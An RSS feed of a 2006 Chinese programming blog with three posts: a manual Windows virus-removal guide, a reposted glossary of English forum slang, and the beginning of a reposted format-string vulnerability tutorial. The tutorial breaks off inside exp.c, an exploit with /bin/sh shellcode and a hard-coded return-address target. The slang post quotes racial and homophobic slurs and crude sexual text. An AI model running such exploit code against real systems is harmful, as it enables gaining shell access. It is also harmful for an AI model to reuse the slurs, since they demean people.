﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>C++博客-二进制空间-随笔分类-Binary Life...</title><link>http://www.cppblog.com/asp/category/2612.html</link><description>See, I'm living...</description><language>zh-cn</language><lastBuildDate>Tue, 20 May 2008 16:56:49 GMT</lastBuildDate><pubDate>Tue, 20 May 2008 16:56:49 GMT</pubDate><ttl>60</ttl><item><title>略谈手动杀毒</title><link>http://www.cppblog.com/asp/archive/2006/11/26/15679.html</link><dc:creator>Asp</dc:creator><author>Asp</author><pubDate>Sun, 26 Nov 2006 10:57:00 GMT</pubDate><guid>http://www.cppblog.com/asp/archive/2006/11/26/15679.html</guid><wfw:comment>http://www.cppblog.com/asp/comments/15679.html</wfw:comment><comments>http://www.cppblog.com/asp/archive/2006/11/26/15679.html#Feedback</comments><slash:comments>2</slash:comments><wfw:commentRss>http://www.cppblog.com/asp/comments/commentRss/15679.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/asp/services/trackbacks/15679.html</trackback:ping><description><![CDATA[
		<p>
				<font size="2">    文章有点长，请进来看……<br />    以下的说法全部是建立在Windows XP的基础上的。<br />    似乎现在很多人的电脑都染了病毒，很惨，我也是电脑小菜，也被病毒折磨过一段时日，所以写下这篇文章，希望对那些还在被一些低级病毒折磨的人有点帮助，呵呵……<br />    PS：因为我现在也只能杀杀低级病毒哦……<br />    我们都知道，一个程序要运行就必须被载入内存，而载入内存后，这个程序就成为了一个进程。所谓的系统进程，不过就是操作系统运行需要载入的程序而已，而病毒要运行也一样，他们也一样会被载入内存，成为进程，所以，只要我们认识好了进程，也就具备了手动杀毒的基本知识……<br />    首先，按Ctrl+Alt+Del打开任务管理器，点选进程，在底下的列表里面就列出了十几个或者甚至几十个进程，你会发现一些很熟悉的名字，比如iexplore.exe（Internet Explorer的进程名）、eMule.exe（EMule的进程名）、QQ.exe（QQ的进程名），所以我们大概可以猜到一般来说进程名和程序名是一样的，但是也有例外。<br />    那么要学会手杀，就必须先认识这些7788的进程名，特别是系统进程，不然就会出现一些奇奇怪怪的问题……呵呵……<br />    以下是我暂时想起来的一部份常见的系统进程，当然实际上系统进程的数量要多得多，不认识的可以去网上查一下，或者去Baidu的知道里面问一下也可以：<br />    alg.exe Windows网络连接共享和网络连接防火墙<br />    cmd.exe 命令行<br />    conime.exe 输入法编辑器相关程序<br />    csrss.exe 子系统服务器进程<br />    ctfmon.exe Microsoft Office的语言栏<br />    explorer.exe 资源管理器<br />    internat.exe 托盘区的拼音图标（注意：不是internet，是internat）<br />    llssrv.exe 证书记录服务<br />    lsass.exe 管理IP 安全策略以及启动IKE和IP 安全驱动程序<br />    mstask.exe 计划任务<br />    nvsvc32.exe NVIDIA显示卡相关程序<br />    point32.exe 微软的鼠标驱动<br />    regsvc.exe 远程注册表操作，开启系统服务remoteregister运行的<br />    services.exe 包含很多系统服务<br />    smss.exe session manager会话管理器<br />    spoolsv.exe 打印缓冲池<br />    svchost.exe windows 2000/xp 的文件保护系统<br />    system Windows System Process<br />    system idle process 用于显示CPU可用资源百分比情况。<br />    tftpd.exe 实现tftp internet标准。该标准不要求用户名和密码。<br />    taskmgr.exe 任务管理器<br />    userinit.exe  管理不同的启动顺序，载入完用户后就退出运行了<br />    wdfmgr.exe 一个系统服务windows user mode driver framework ，是安装Windows media player 10添加的，用于减少兼容性问题。<br />    winlogon.exe 管理用户登录<br />    wmiexe.exe Windows Management Instrumentation，Windows管理程序<br />    wmiprvse.exe Windows的一部份，通过WinMgmt.exe程序处理WMI操作<br />    wuauclt.exe Windows自动升级管理程序<br />    有点晕？正常，但是多看看就习惯了。<br />    接着，让我们来想想病毒的习性，载入内存，复制和伪装自己，感染文件，并且有一定的自我保护的能力，能在一定情况下复发。所以手杀病毒的思维应该是先结束掉病毒的进程，再找出并删除与病毒相关的文件，再删除和病毒相关的启动项和服务，如果删不掉，则重启到安全模式，甚至DOS下（故障控制台），删除。<br />对了，介绍几个工具：<br />    一个是进程分析工具ProcXP（Process Explorer），它的进程管理十分的底层，为了测试他的能力，你可以运行他，结束system看看，结果就是你的机子重启了，因为他把Windows都结束掉了，呵呵……<br />    </font>
				<a href="/Files/asp/ProcessExplorer.rar">
						<font size="2">http://www.cppblog.com/Files/asp/ProcessExplorer.rar</font>
				</a>
				<br />
				<font size="2">    第二个工具就是文件关联恢复器，因为现在很多的病毒都和应用程序挂上了钩，所以杀毒的时候这个工具是十分有效的。<br />    </font>
				<a href="/Files/asp/recover.rar">
						<font size="2">http://www.cppblog.com/Files/asp/recover.rar</font>
				</a>
				<br />
				<font size="2">    第三个工具是IceSword，这个工具几乎可以观察系统中所有的情况，并且能够删除一些特别顽固的文件，还可以结束进程，不过个人做了试验，发现它结束程序的权限好像没有ProcXP高。<br />    </font>
				<a href="/Files/asp/icesword_cn.rar">
						<font size="2">http://www.cppblog.com/Files/asp/icesword_cn.rar</font>
				</a>
				<br />
				<font size="2">    接下来，我们就要开始学习怎么检查和删除病毒了。<br />    首先，看你的电脑有没有异样，比如开机就是一个temp1执行非法操作什么的；速度奇慢无比；插上别人的U盘，别人U盘里面就多了几个文件等等，有就说明，你中彩了。<br />    运行文件关联恢复器，把“使注册表编辑器可用”选上，点开始修复，然后关掉它。<br />    打开ProcXP，第一次打开的时候会有提示框，选Yes就OK，接下来，你会看见他的界面，如下：<br /><img src="http://www.cppblog.com/images/cppblog_com/asp/2860/r_KillVirus1.jpg" /><br />    里面有几栏：<br />    第一栏Process，进程名和其父子关系。<br />    第二栏PID，就是进程在系统中的特定的ID——Process ID。<br />    第三栏CPU，CPU占用率<br />    第四栏Description，对程序的描述。<br />    第五栏Company Name，厂家名。<br />    另外把鼠标停在一个进程上一会儿，或者在上面点右键，点properties，就可以显示出这个进程对应的程序是什么和这个程序加载了什么。<br />    然后就是看你的经验了，找出那些很奇怪的进程吧，暂时我用的判定方法有：<br />    1、 经验，认得病毒。（呵呵，等于没有说）<br />    2、 一些伪装自己的进程或者文件名：Rundl132.exe、Rundll.exe（伪装Rundll32.exe）、scchost.exe、scvhost.exe、svchost..exe、svchost32.exe、svch0st.exe（伪装svchost.exe）等等。<br />    3、 一些和系统进程名字一样，但是路径不一样的，比如c:\windows\svchost.exe，而系统文件的路径是：c:\windows\system32\svchost.exe等。<br />    4、 一些看着名字就不顺眼的：sex.exe等。<br />    5、 一些很奇特的名字：123.exe、temp1.exe、temp2.exe、sxs.exe、qwer.exe、asdf.exe、run.dll等等。<br />    6、 一些名字和描述不符合的进程，比如Rundll32.exe描述变成了MS Rundll，而不是Run a Dll as an App。<br />    7、 用Rundll打开的程序，一般来说不是流氓软件，就是木马，呵呵，暂时给我的感觉就是这样，当然也有例外。这就要自己去ProcXP里的Properties里面看了。<br />    8、 一些会动不动就会自己复制成几个的进程，如stup.exe。<br />    9、 本不应该存在的进程，现在存在了，比如说一些非系统进程，常见于一些流氓软件，比如：assisstant.exe（3721），YLive.exe（雅虎助手）<br />    确定好目标之后就要开始找病毒文件了。<br />    任意打开一个文件夹，点选工具，文件夹选项，查看。把下面列表里的隐藏受保护的系统文件（推荐）和隐藏已知文件类型的扩展名前面的勾点掉，再选上显示所有文件和文件夹，这样病毒就无处藏身了。但是有时候这种方法会无效，隐藏的文件照样隐藏，比如Rose病毒的一个变种。解决方法是开始-〉运行-〉regedit，打开注册表编辑器，到主键（即里面像文件夹的东西）HKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/explorer / Advanced/Folder/Hidden/SHOWALL下面，把右边列表里面的CheckedValue删除，没有的话也好，然后新建一个DWORD值，并设定该值为1，再到文件夹选项里面，就可以改了。<br />好的，现在显示了所有的文件，病毒在哪里？ProcXP里面不是有写程序的位置吗，记下病毒的位置，结束病毒的进程，去吧，但是注意，这里有几个注意事项：<br />    第一，进入磁盘和文件夹的时候不要直接双击，而要点右键，选打开，不然的话自动播放会把部分病毒又激活的。<br />    第二，如果是c:\windows\system32\rundll32.exe的话，那找的文件应该是rundll32.exe后面的加载项，rundll32.exe是无辜的。<br />找到病毒文件后，删吧，后缀名为.exe的文件一般就删了，但是如果是后缀名为.dll的文件，有时还是删不掉的，怎么办？<br />    打开ProcXP，点菜单栏里的Find，选Find Dlls，输入你要删的dll名，点Search，如果这个文件被底下调用，就会显示在底下的列表框中，再一个个的找这几个dll所在的进程，把这几个进程结束掉，就可以删除了。<br />删除了病毒体，我们还要做一点残余工作。<br />    再次运行文件关联恢复器，把“使注册表编辑器可用”选上，点开始修复，然后关掉它吧，它已经没有利用价值了，呵呵（好残忍哦）。<br />    比如，病毒复制的磁盘的自动播放，最著名的如rose病毒的一个变种，在每个盘下面都会建立文件，copy.exe、host.exe和autorun.ini，当然判定的依据是autorun.ini里面的内容，里面应该有autorun=，这个后面的内容就是病毒的位置，找到并删掉吧，和autorun.ini一起删掉之后，你会发现自动播放还在那里，并没有删除，这是因为在注册表里面还有残余的原因，还记得autorun=后面的内容吗？运行regedit，进入注册表，进入主键：HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2，在里面搜索autorun=后面的内容，即copy.exe，把找到的项所对应的在HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2下的主键整个删掉，即可。注意可能有很多个，全部要删哦。删完之后，自动播放就没有了。<br />    另外，还有病毒的启动项，运行msconfig，选启动，在列表框里面又很多的启动项，看看命令栏里面有没有病毒文件的路径，有的就全部勾掉，确定。<br />    在右键点我的电脑，选管理。点服务和应用程序，点服务，在右边的列表里面一个一个确定有没有服务调用病毒，有就禁用掉。（什么？看不懂？那就点右键，属性，进去看撒……）<br />    如果上面的方法不行的话，就去安全模式底下用吧，那些工具在安全模式下也可以用的。<br />    OK，这样，一般的病毒也就基本上搞定了。:D……<br />    对了，上面的方法只能保证病毒无法运行，但不一定能完整地删除病毒，因为这种方法是基本通用的方法，不是针对各个病毒的特法，所以请大家见谅哦。<br />    另外上面的方法只能用于一般比较良性的病毒，如果病毒比较恶劣，比如感染exe文件，而不是在文件关联上绑定，那就没有办法手杀，我说的不是没有办法用这个方法手杀，而是没有办法手杀。因为你要一个一个应用程序的去把病毒删掉，要改程序的入口点，这会导致你可能要手动修改几千个文件，假设一个文件你2分钟就搞定了，而你一共要修改1000个文件，你也要33.33个小时才能搞定，不过如果你有兴趣，可以去研究一下Windows PE文件的结构和分离文件的原理，你会了解很多的事情，比如为什么杀毒软件会在杀毒的时候把一些应用程序删烂，加壳和脱壳的原理，BindFile的原理还有那种不增加文件大小的FileBind的原理等等。<br />    好吧，说了是略谈，结果说了这么多，说得很浅，但愿大家会喜欢，并且共同进步。</font>
		</p>
		<p>
				<font size="2">PS：<br />    如果没有ProcXP的话，可以使用下面的方法，具体使用，自己研究一下吧，我就不说了。<br />    以下是转Baidu知道的内容：<br />    打开资源管理器，找到控制面板→管理工具→服务，或许你能找到你想要KILL的进程。 <br />    除了采用PROCXP之类工具外，也可用Windows 2000以上自带几个工具。 <br />    ntsd -c q -p PID <br />    在windows中，只有System、SMSS.EXE和CSRSS.EXE不能杀。前两个是纯内核态的，最后那个是Win32子系统，ntsd本身需要它。ntsd从2000开始就是系统自带的用户态调试工具。被调试器附着(attach)的进程会随调试器一起退出，所以可以用来在命令行下终止进程。使用ntsd自动就获得了debug权限，从而能杀掉大部分的进程。ntsd会新开一个调试窗口，本来在纯命令行下无法控制，但如果只是简单的命令，比如退出(q)，用-c参数从命令行传递就行了。NtsdNtsd 按照惯例也向软件开发人员提供。只有系统开发人员使用此命令。有关详细信息，请参阅 NTSD 中所附的帮助文件。用法:开个cmd.exe窗口，输入：<br />    ntsd -c q -p PID <br />    还有就是tasklist、tskill或taskkill。tasklist能列出所有的进程，和相应的信息。tskill能查杀进程，语法很简单：tskill 程序名</font>
		</p>
<img src ="http://www.cppblog.com/asp/aggbug/15679.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/asp/" target="_blank">Asp</a> 2006-11-26 18:57 <a href="http://www.cppblog.com/asp/archive/2006/11/26/15679.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>美国论坛用语小讲</title><link>http://www.cppblog.com/asp/archive/2006/10/31/14454.html</link><dc:creator>Asp</dc:creator><author>Asp</author><pubDate>Tue, 31 Oct 2006 15:35:00 GMT</pubDate><guid>http://www.cppblog.com/asp/archive/2006/10/31/14454.html</guid><wfw:comment>http://www.cppblog.com/asp/comments/14454.html</wfw:comment><comments>http://www.cppblog.com/asp/archive/2006/10/31/14454.html#Feedback</comments><slash:comments>5</slash:comments><wfw:commentRss>http://www.cppblog.com/asp/comments/commentRss/14454.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/asp/services/trackbacks/14454.html</trackback:ping><description><![CDATA[
		<p>
				<font size="2">以下是转贴，文章出处：<a href="http://www.playes.net/Blog/425.asp">http://www.playes.net/Blog/425.asp</a><br /><br />先介绍一个很棒的站。</font>
				<a href="http://www.urbandictionary.com/" target="_blank">
						<font size="2">http://www.urbandictionary.com/</font>
				</a>
				<font size="2">一般来说，你如果在浏览论坛的时候看到不懂的词，就去查这里，包准没错。</font>
		</p>
		<p>
				<font size="2">首先我们必须明白一点，美国人是很懒的，我们也是很懒的，但是我们还没有美国人懒。玩多了游戏的都（二声）晓得，很多游戏，包括出名的和不出名的，都用首字母缩写代表这个游戏。如果你对这个游戏一无所知或者刚刚上手，人家讨论这个游戏你都不见得明白人家在说什么呢……那么——</font>
		</p>
		<h4>
				<font size="2">PART 1、缩写</font>
		</h4>
		<p>
				<font size="2">最常见的缩写自然是Wtf. What the fxxk. 这他妈到底怎么了，大意如此。 衍生出来的有Wth, wtfh,前者是what the hell, 后者是what the fxxking hell.</font>
		</p>
		<p>
				<font size="2">lol也是最常见的缩写之一。很不幸，这个词在美国一个杂志上的解释是Lots of Love。我愤怒地骂了一声小白之后，不得不接受某些美国父母在看了那个杂志之后在送给自己孩子的礼物上面写上“lol”的事实……好了不多扯，这个词的意思是Laugh out loud。放声大笑。</font>
		</p>
		<p>
				<font size="2">Omg，这个是经典的缩写了，Oh my god! Omfg，F-word已经完全成了语气助词了，Oh my fxxking God. OMFGBBQ，BBQ也是一个语气助词。这个词后面还要讲到。很有趣。ZOMG，Z没有任何意义，表示加强语气——这个后面也要提到。</font>
		</p>
		<p>
				<font size="2">Lmao,Rofl。这两个词意思差不多。前者是Laugh my ass off.把我的XX笑掉了。后者是Roll on the floor laughing,滚地板笑。这ROFL其实和猫扑的233有异曲同工之妙——而且，实际上233的改进版有滚来滚去的，那根本就是一样了。</font>
		</p>
		<p>
				<font size="2">qft。你看，这个东西其实咱们很多人在用，但是用英语写出来就看不懂了罢……Quote for truth的缩写。类似于“支持，纯引”。当然，你在NGA干这种事情是要被封号的……</font>
		</p>
		<p>
				<font size="2">Imo。这个词看上去和Lmao很象，不过意义完全不同。它是In my opinion的缩写（哦原来这么正经啊，好无聊好无聊……）。事实上这个词通常是论坛掐架的开始，它的变体有Imho，In my humble opinion，大有“区区在下不才，对这个问题是如此看的，阁下若有高见，尽请说来”的意思。</font>
		</p>
		<p>
				<font size="2">Irl。和Url好象……真义是In real life。 通常有两个用途，一是“I lol'd irl"，lol有时仅仅是表示”你很幽默“，更多的是一种赞赏，而“I lol'd irl"则更进一步，表示“我真的笑了”。二是“Hot girl irl”，我其实是个漂亮女孩哦~~美国人人妖也很多的……</font>
		</p>
		<p>
				<font size="2">FTW。For the win.用于欢呼。比如去年Pittsburgh Steelers队拿了橄榄球冠军，那么就是Pittsburgh Steelers ftw! 我们这里一个美国烂人硬说这个词是 Fxxk the world的意思，我说那USA还是U sucking ass的意思呢……他要和我打架，我怕了，于是收回了我的看法。</font>
		</p>
		<p>
				<font size="2">Stfu。Shut the fxxk up。Shut up的强调版。有人说只有Loser才会这么说，姑且信之，那么它的意思大约就跟吵架中大吼“你他吗的给老子住嘴”然后要么开始动手打人要么掩面跑开类似。</font>
		</p>
		<p>
				<font size="2">Brt, BRB，omw。这几个词在论坛上用的不多，第一个是Be right there，马上到；第二个是be right back，马上回；第三个是on my way，在路上。多在游戏里面用到。玩战网的朋友大都晓得。</font>
		</p>
		<p>
				<font size="2">其实缩写还有很多了。我是想到哪写到哪，以后再慢慢修改好了……不论如何，我们开始——</font>
		</p>
		<h4>
				<font size="2">Part 2、象形/拟声</font>
		</h4>
		<p>
				<font size="2">&lt;3。我对这个词是迷糊了很久的……直到有一天人家告诉我。XD大家都知道什么意思罢（横过来看）。这词也一样。那么它的意思就是LOVE了，类似于我们在论坛上说“大心~~”。</font>
		</p>
		<p>
				<font size="2">Lawl。这个是lol的象声写法，表示强调。“aw”在英文中和“o”的普遍发音一样。它表示的是一种发音，而不是“L”“O”“L”一个一个字母地读出来的缩写。</font>
		</p>
		<p>
				<font size="2">Rawr。和前者一样，是Roar的象声变体。可以用做挑衅也可以用作表示兴奋。</font>
		</p>
		<p>
				<font size="2">1337。Leet的数字写法。Leet本身也是一个网络黑话，放到后面讲。</font>
		</p>
		<p>
				<font size="2">hax，Hack的象声写法，就是你这家伙用外挂了……它的用途不止是说外挂，凡是不正当地在竞争中领先，全部可以用。</font>
		</p>
		<p>
				<font size="2">Phat，fat的象声写法。FAT一般表示坏东西。FAT GIRL是对女孩的侮辱性词语，你说这个女孩子会哭的。但是Phat表示很棒，很好，是因为“东西很多”而导致的好。魔兽世界里面“Phat loot”正是由此而来。</font>
		</p>
		<p>
				<font size="2">Woot。和wut不同，Woot不是what的拟声变体。你可以这么读它：wu(二声）u(四声）u（轻声）t。这个词是来源于WOW!loot!，表示庆祝蜈蚣洞里面的怪掉装备了。然后由于它和感叹词“WooHoo”的接近被简化成了Woot。这个词也常常被数字变写为w00t。</font>
		</p>
		<p>
				<font size="2">:D, :P，这些也是象形，但是大家都知道，我就不讲了。那么开始——</font>
		</p>
		<h4>
				<font size="2">Part 3、其它</font>
		</h4>
		<p>
				<font size="2">Own。这个词的意思无非就是“战胜”。什么样的战胜呢？压倒性的战胜，全面的压制。你可以使用这个词来表示“Grubby和我打了一场魔兽，他战胜了我”。这个词之所以有名，是因为这个词被人用的太多，所以它的过去分词常常被打成“Pwnt”。要么是名人用过（比如，芙蓉姐姐说了“Pwnt”了），要么是O和P实在是太容易打错了，总之Pwnt成为了一个合法用途。你可以用“I got pwnt”来赞赏自己的对手。Ownt和Owned也是正常的用法。</font>
		</p>
		<p>
				<font size="2">Leet。这个词单列一条。什么意思？你见过玩魂斗罗不接枪不死命通关的罢？这人就是Leet。它是“Elite”的网络写法。Elite是精英的意思，leet则一般指游戏上的精英。我们可以说，罗炜是一个鬼武者leet，但是呢，三个字，我不信（这一句看不懂的可以省掉）。大致如此。</font>
		</p>
		<p>
				<font size="2">Emo。这个词很有意思。美国有个乐队，叫做EMO，常常演一些伤感的歌。然后泡坛子的人就常常用这个词形容那些神经兮兮的家伙，比如整天乱嚷“My life sucks”的家伙。这种人别说，还真有，我一个学生就这样，上实验课之前常常拿着一本插图上画着王子和公主的书对我说，你看他们好幸福挖，我好羡慕挖，你觉得这是真的还是画的吗，等等。林黛玉当然也是标准的EMO了。这个词在Urban Dictionary上的一个解释极棒，拿来共享，翻译就免了，看的懂就看罢。</font>
		</p>
		<p>
				<font size="2">1. Girls say they like "sensitive guys" (lie)<br />2. Guy finds out, so he listens to faggy emo music and dresses like a dork so chicks will see that he is sensitive and not afraid to express himself (lie). He dyes his hair black, wraps himself in a stupid looking scarf, develops an eating disorder, and rants about how "nobody understands".<br />3. Now an emo guy, he meets Emo chick and they start dating, talking about how their well-off suburban lifestyles are terrible and depressing (lie)<br />4. Emo guy is just too much of a pussy. His penis is too small, he's too depressed to bathe, and has more mood swings than emo chick, and he doesn't even have a menstrual cycle. Emo chick dumps him, saying "It's not you, it's me." (lie) as she drives off with Wayne, the school jock and captain of the football team.<br />5. Emo guy goes home and cries, proceeds to write a weak song and strum a single string on his acoustic guitar. Another emo chick sees how he is so in touch with his feelings, and the cycle continues.</font>
		</p>
		<p>
				<font size="2">BBQ。这词很棒。在OMFGBBQ里面，它只起到了强调的作用。BBQ一般指烧烤，Barbeque,这个大家都知道，但是它为什么能起强调的作用呢？因为这词代表了无数的缩写，better be quick, Bitch be quiet，等等，所以这个词就代表了对缩写的鄙视，说你这丫的乱缩写嘛。于是它也被赋予了表示强调的意义（美国人的联想“联用”能力真强……）</font>
		</p>
		<p>
				<font size="2">ZOMG。这个词也要单列。因为有出典。为什么会出现“ZOMG”？因为OMG通常用全部大写表示语气强调。在书面语言里，全部大写是非常非常不礼貌的，但是为了表示强调，你全大写也可以。问题是，你大写出毛病了——大写要按“shift”键，你太激动了，结果按shift键同时按“o”的时候，连着shift键边上的z也按下去了……你看，这样来表示你的激动是不是超出寻常呢？这就是ZOMG的来由。</font>
		</p>
		<p>
				<font size="2">Lame。这个词无法用中文翻译。我只举例了。LAME就是用来形容芙蓉姐姐、许纯美、大作家张斌、伟大的刘伟……等等一系列人物的专有名词……</font>
		</p>
		<p>
				<font size="2">Chuck Norris。这个词不得不单列一条。Chuck Norris 非常 Lame。他是个武术家，演了一个电视连续剧，大约是《TEXAS RANGER》之类的名字罢，里面演一个美国式英雄。不幸的是，演的实在是太做作而失败了……结果有个好事者在网络上写了“</font>
				<a href="http://comicbbs.kpeq.com/archiver/?tid-14151.html" target="_blank">
						<font size="2">100 TOP facts about Chuck Norris</font>
				</a>
				<font size="2">”，全面地讽刺了 Chuck Norris 的武术、霸气，还有性能力。这个东西在美国网络上引起了轰动效果，Chuck Norris 于是出名了……他就是美国的芙蓉姐姐……</font>
		</p>
		<p>
				<font size="2">Fag/faggot。对GAY的侮辱性说法。拿来骂人用的。你可以说一个GAY是GAY，但是你不能说一个GAY是FAGGOT。这等于说你可以说一个黑人是BLACK MAN，但是不能说他是Negro。当然你拿这个骂正常人一点问题都没有……（但是如果人家真的跟你较真还是能告你歧视GAY哦~~）</font>
		</p>
		<p>
				<font size="2">Freak/Hack/Darn。这三个词并列排出，它们分别是”Fxxk"/"Hell"/"Damn"的弱化/合理化用法。简单地说，一个老师在讲课，他不能讲脏话，但是他想用“Fxxk”来表示强调和亲和力。这时他就用freak（音/frik/）来替换fxxk。英语里面Shit、Hell、Damn、Fuck、Ass都属于Curse/swear，咒骂了，相当于是脏话，一般是不能讲的。但是美国是一个粗俗的国度，人们喜欢讲这些词，就好比说讲“他妈的”有时候已经不代表骂人而代表强调一样。于是他们使用Freak这些音相近的词语来替换这些词。使用这些词语的时候，表达的语气也没有用原词强烈。类似的中文用法，正是我们天天用的一个词：“靠！”</font>
		</p>
		<p>
				<font size="2">Fo' shizzle my nizzle。这是正统的“市井用语”了。美国的市井用语主要是由于贫民区大都是黑人，因此讲的话都带有黑人口音而来的。说唱乐正是这种语言的音乐形式。这个短语代表的是市井语的一种口音，它原本是关在牢房里的黑人弟兄打电话，为了避免被人听懂而发明的，而由于Snoopy这个动画片而广泛传播开来。这种口音的特点是在每个词后面都加上“-izzle”来混淆口音。至于Fo' shizzle my nizzle，这个句子完全翻译过来是“for sure, my niggar”（当然了，我的兄弟）。Niggar是negger/negro的黑人口音变体，只用在黑人之间互相称呼中，表示“同为黑人的朋友”。如果白人用了这个词等于是种族歧视。</font>
		</p>
		<p>
				<font size="2">Moron/Retarded。Silly大家都知道罢？Stupid大家都知道罢？Idiot大家都知道罢？一个意思。上次那个所谓“中国版泄露的1.11patch notes”里面，就有人评价说，上17173的都是morons。就是这个意思了。</font>
		</p>
		<p>
				<font size="2">Epeen。E-pennis的缩写。电动XX，意思是指，你其实已经不能勃起了，但是靠电动的来勃起。网络上是指你说不过别人了，然后说自己现实生活中其实很强，比如说NGA某些人常用的，说你现实中是个LOSER，老子本科毕业/研究生毕业/工作了，又或者我自己在开头炫耀自己GRE 1380 TOEFL 663。这个词被WOW的人用来讽刺PVE进度，称为“PVEPEEN”，意思是说你FD了BOSS有什么好炫耀的，PVP才是王道。</font>
		</p>
		<p>
				<font size="2">Leech。这个词原指某些FTP，不需要上传即可下载，后来变意为使用BT限制上传带宽等等，总之就是不付出而获取。在WOW里面，可以讽刺那些挂机刷荣誉的人，又或者MC里面，新人一身绿装跑去，又不出力，又拿装备。搞笑的是WOW里面，BFD（黑暗深渊）有这个DROP，叫做Leech pants,最后的老板掉。它的中文名称是 [吸血短裤] ，真形象……</font>
		</p>
		<p>
				<font size="2">1. epeen是e和peen的复合词, peen是pin的同音异写，pin的愿意是标签徽章什么的, 这里相当于差不多reputation的意思, epeen基本上相当于e-reputation, 大致相当于网络上的声望的意思. epeee的字面意义是中性的但语用上是贬义词, 比如各个realm forum上当某人自吹他duel或者bg赢了其他人时对方也许就会回贴说诸如"gratz you gains epeen+10"之类的话，其语用意义就是说在rl你什么都没得到之类。</font>
		</p>
		<p>
				<font size="2">2. leech的来源并不是p2p下载术语, 而是d2里边一种装备属性"leech x% life/mana on attack"。其字面意义就是吸血。后来在d2里就有了开bus下牛关时如果有baby来蹭经验就叫leech。wow里边很多玩家都玩过d2所以对于类似的蹭经验/声望/荣誉也自然而然的用了leech。google一下就知道, leech作为“蹭经验”这个意思的时候主要是出现于blizz游戏的相关站点。</font>
		</p>
		<p>
				<font size="2">3. &gt;3, XD以及:P之类的emoticon的直接来源是美式漫画，而最早来源还是基于电子邮件文化的表情符号系统。美国漫画的emoticon几乎都是竖看的verticon, 而日式漫画里边则多半是横看的。这跟两种漫画在对话排版上的顺序有关。emoticon一般都要与文字顺序相异以避免混淆，所以在横版文字的美式漫画里多使用verticon。</font>
		</p>
		<p>
				<font size="2">4. lame. freak,moron, retarded等, 都有其特有语义, 而不只是芙蓉姐姐, fuck, silly, stupid的意思。</font>
		</p>
		<p>
				<font size="2">lame的原意的瘸子，引申意义是（因为瘸所以需要）经常借助外力的人。这词在d2时期专指在legit pvp room里边不遵守约定俗成的pvp规定而使用违禁道具的人。比如说d2 usw realm里zealot duel不准用减速不准喝药水不准用pd不准用foh, 用了这些的就是lamer。在wow forum上如果说一个人lame, 其意思也大致是这个方面，而不一定是说他和芙蓉姐姐等神棍有什么相似特点。</font>
		</p>
		<p>
				<font size="2">freak的出处是某著名科幻小说相信大家都知道了。其分词形态freaking和fucking在做语气强调词方面基本上是同义的，但是它本身还是不脱离其“怪人”的本意。forums上经常可以看到用freak做定语的情形,比如形容某次onxy raid, 龙mm老是在天上不下来, 就可以说"onxy's freak today she always refuses to land and yeild her due lewts before we wipe" 而fuck是不会成为定语的。</font>
		</p>
		<p>
				<font size="2">moron和retarded在本意上是同义词都有痴呆智障的意思，但forum上使用时有点差别。moron更强调举止上愚蠢或懦弱, 比如说某某拿60级大号血洗stranglehorn或某某在bs被敌对阵营杀了一次就叫很多人来帮忙，又或者说上17173, 这样就是moron, 而retarded则更主要说某某的行为不可理喻。比如某人在mage forum贴个41点arcane系的天赋就会被人说是retarded, 但不会被说成是moron。</font>
		</p>
<img src ="http://www.cppblog.com/asp/aggbug/14454.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/asp/" target="_blank">Asp</a> 2006-10-31 23:35 <a href="http://www.cppblog.com/asp/archive/2006/10/31/14454.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>*printf()格式化串安全漏洞分析(下) (转)</title><link>http://www.cppblog.com/asp/archive/2006/10/20/13922.html</link><dc:creator>Asp</dc:creator><author>Asp</author><pubDate>Fri, 20 Oct 2006 12:55:00 GMT</pubDate><guid>http://www.cppblog.com/asp/archive/2006/10/20/13922.html</guid><wfw:comment>http://www.cppblog.com/asp/comments/13922.html</wfw:comment><comments>http://www.cppblog.com/asp/archive/2006/10/20/13922.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/asp/comments/commentRss/13922.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/asp/services/trackbacks/13922.html</trackback:ping><description><![CDATA[测试平台：RedHat 6.1, RedHat 6.2 (Intel i386)<br /><br />（继续）<br /><br />那么让我们来写一个简单的测试程序来看一下：<br /><br />&lt;- begin -&gt;  exp.c<br /><br />#include &lt;stdlib.h&gt;                                            <br />#include &lt;unistd.h&gt;                                            <br />                                                               <br />#define DEFAULT_OFFSET                    0                    <br />#define DEFAULT_ALIGNMENT                 2     // 我们使用两个字节来进行"对齐"<br />#define DEFAULT_RETLOC           0xbffff6dc     // 存放main()返回地址的地址               <br />#define DEFAULT_BUFFER_SIZE             512                    <br />#define DEFAULT_EGG_SIZE               2048                    <br />#define NOP                            0x90                    <br />                                                               <br />char shellcode[] =                                             <br />  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"<br />  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"<br />  "\x80\xe8\xdc\xff\xff\xff/bin/sh"; <br /><br />                                                               <br />unsigned long get_esp(void) {                                  <br />   __asm__("movl %esp,%eax");                                  <br />}                                                              <br />                                                               <br />main(int argc, char *argv[]) {                            <br />  char *buff, *ptr, *egg;                                      <br />  char *env[2];<br />  long shell_addr,retloc=DEFAULT_RETLOC;                                                   <br />  int offset=DEFAULT_OFFSET, align=DEFAULT_ALIGNMENT;        <br />  int bsize=DEFAULT_BUFFER_SIZE, eggsize=DEFAULT_EGG_SIZE;                             <br />  int fmt_num=4, i;<br />                                                               <br />  if (argc &gt; 1) sscanf(argv[1],"%x",&amp;retloc); // 存放main()返回地址的地址                                                                                       <br 